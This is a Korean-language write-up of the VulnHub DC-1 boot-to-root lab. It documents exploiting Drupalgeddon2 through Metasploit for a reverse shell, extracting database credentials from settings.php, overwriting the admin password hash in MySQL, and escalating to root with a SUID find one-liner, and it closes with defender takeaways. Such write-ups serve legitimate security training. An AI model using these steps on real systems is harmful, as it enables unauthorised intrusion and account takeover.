
VulnHub DC-1 boot-to-root — CVE-2018-7600(Drupalgeddon2)을 악용한 RCE, settings.php에서 DB 자격 증명 추출, 관리자 비밀번호 해시 위조, SUID find를 통한 루트 권한 상승.
"침투 테스트 실습 라이트업 — 정찰부터 루트까지의 전체 공격 체인을 문서화합니다."
난이도: 초급–중급
플랫폼: VulnHub
목표: 4개의 모든 플래그를 획득하고 완전한 루트 권한 장악
공격자 OS: Kali Linux (VirtualBox — NAT Network)
대상 OS: Debian Linux (Drupal 7 CMS)
| 구성 요소 | 상세 내용 |
|---|---|
| 하이퍼바이저 | VirtualBox |
| 네트워크 모드 | NAT Network (두 VM 모두 동일한 서브넷) |
| 공격자 머신 | Kali Linux |
| 대상 머신 | DC-1 (VulnHub) |
| 대상 IP | 10.0.2.3 (arp-scan으로 발견) |
두 가상 머신 모두 VirtualBox에서 동일한 NAT Network 아래 구성되어, 격리된 실습 환경을 유지하면서 VM 간 통신을 가능하게 했습니다.
로컬 서브넷의 모든 활성 호스트를 식별하기 위해 arp-scan을 사용했습니다:
sudo arp-scan -l
결과: 대상이 10.0.2.3으로 식별됨
버전 감지 및 기본 스크립트로 전체 Nmap 스캔을 실행했습니다:
sudo nmap -sV -sC 10.0.2.3
주요 발견 사항:
| 포트 | 서비스 | 버전 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 중요: Nmap은 HTTP generator 헤더를 통해 웹 애플리케이션을 Drupal 7로 명확히 식별했습니다 — 알려진 취약한 CMS 버전임을 확인한 것입니다.
Drupal 7은 Form API의 치명적인 원격 코드 실행(RCE) 취약점의 영향을 받습니다. 인증되지 않은 공격자가 조작된 HTTP 요청을 보내면 백엔드가 이를 시스템 명령으로 실행합니다 — 어떠한 인증도 필요하지 않습니다.
Metasploit Framework 실행:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
결과: www-data(웹 서버 프로세스 사용자) 권한으로 Meterpreter 리버스 셸이 성공적으로 열렸습니다.
Meterpreter에서 네이티브 Linux 셸로 드롭한 후 Python PTY를 사용하여 셸을 안정화했습니다:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
결과: /var/www 내부에서 www-data@DC-1 권한의 완전한 대화형 bash 셸 확보
ls -la /var/www
cat flag1.txt
플래그 1 내용:
모든 좋은 CMS에는 설정 파일이 필요합니다 - 당신에게도 필요합니다.
💡 힌트: Drupal 설정 파일인
settings.php를 직접적으로 가리킵니다.
Drupal 설정 디렉터리로 이동하여 설정 파일을 확인했습니다:
cd /var/www/sites/default
cat settings.php
$databases 배열에 포함된 자격 증명 발견:
| 필드 | 값 |
|---|---|
| 데이터베이스 | drupaldb |
| 사용자 이름 | dbuser |
| 비밀번호 | R0ck3t |
플래그 2 내용(파일 주석에서):
무차별 대입(brute force) 및 사전 공격만이 접근 권한을 얻는 유일한 방법은 아닙니다
(그리고 당신은 접근 권한이 반드시 필요할 것입니다). 이 자격 증명으로 무엇을 할 수 있을까요?
💡 힌트: 어떤 무차별 대입 공격도 없이 자격 증명을 사용하여 MySQL 백엔드에 접근하세요.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
admin과 fred의 해시된 비밀번호를 찾았습니다 — 둘 다 Drupal의 $S$ 해싱 체계(SHA-512 기반)를 사용합니다.
기존 해시를 크래킹하는 대신, Drupal 자체 내장 PHP 스크립트를 사용하여 새 해시를 생성했습니다:
cd /var/www
php scripts/password-hash.sh password123
출력: password123에 대한 유효한 $S$D... 해시
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
http://10.0.2.3에 admin / password123으로 성공적으로 로그인했습니다.
플래그 3 내용(Drupal 관리자 콘텐츠 패널에서 발견):
특수 PERMS는 passwd를 FIND하는 데 도움이 될 것입니다 - 하지만 shadow 안에 있는
무언가를 얻는 방법을 알아내려면 그 명령을 -exec로 실행해야 합니다.
💡 힌트:
find명령의 SUID 바이너리 잘못된 구성 — 권한 상승 벡터 식별됨.
cat /etc/passwd
홈 디렉터리가 /home/flag4인 사용자 flag4를 찾았습니다.
cat /home/flag4/flag4.txt
플래그 4 내용:
root에 있는 플래그를 찾거나 접근하는 데 이와 동일한 방법을 사용할 수 있나요?
아마도요. 하지만 그렇게 쉽지 않을 수도 있습니다. 아니면 쉬울 수도 있고요?
find를 통한 SUID 익스플로잇find 바이너리에 SUID 비트가 설정되어 있어, 실행하는 사람이 누구든 파일 소유자(root)의 권한으로 실행됩니다.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
정말 잘했습니다!!! DC-1을 즐기셨기를 바랍니다!
완전한 루트 장악 달성. ✅
공격자 관점에서:
settings.php와 같은 설정 파일에는 일반 텍스트 자격 증명이 자주 포함되어 있어, 공격자가 웹 접근 권한에서 데이터베이스 완전 제어로 전환(pivot)할 수 있게 합니다.find, vim 또는 python과 같은 일반적인 바이너리의 SUID 잘못된 구성은 Linux 환경에서 가장 신뢰할 수 있는 권한 상승 벡터 중 하나입니다.방어자 관점에서:
find / -perm -4000 -type f 2>/dev/null은 모든 Linux 강화 체크리스트의 일부가 되어야 합니다.이 라이트업은 strictly 교육 목적으로만 작성되었으며, 격리된 합법적인 실습 환경에서 수행된 활동을 기록합니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해 이러한 기술을 시도하지 마십시오.
작성자: Prapul | TryHackMe 프로필 | GitHub
| 도구 | 용도 |
|---|
arp-scan | 로컬 서브넷 호스트 발견 |
nmap | 포트 스캐닝 및 서비스 핑거프린팅 |
Metasploit Framework | CVE-2018-7600 익스플로잇 전달 및 리버스 셸 |
MySQL CLI | 데이터베이스 열거 및 자격 증명 조작 |
PHP (password-hash.sh) | 네이티브 Drupal 해시 생성 |
Python PTY | 셸 안정화 |
VirtualBox | 격리된 실습 환경 구성 |